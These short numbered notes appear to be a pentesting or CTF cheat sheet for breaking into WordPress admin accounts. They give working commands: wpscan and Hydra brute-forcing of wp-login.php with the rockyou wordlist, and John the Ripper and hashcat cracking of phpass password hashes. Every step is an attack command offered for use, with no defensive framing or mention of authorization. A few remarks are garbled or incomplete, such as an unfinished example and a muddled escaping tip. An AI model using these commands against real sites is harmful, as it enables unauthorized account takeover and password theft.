1. wpscan --usernames admin --passwords /usr/share/seclists/rockyou.txt --max-threads 50 --url IP/xxx (admin can be wordlist as well, and xxx can be blog or something)
2. OR use Hydra: should be faster:
   hydra -l admin -P /usr/share/seclists/rockyou.txt IP -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
   (For the testcookie part, check in source code for the login page. for eg in this case )
3. If you have hash($P$B....), can put in format user:hash (\\\ is to escape a single /):
   john hash.txt --wordlist=/usr/share/seclists/rockyou.txt --format=phpass
4. Can use hashcat also (but the hash format only can have hash, no username):
   hashcat -m 400 -a 0 wp.hash /usr/share/seclists/rockyou.txt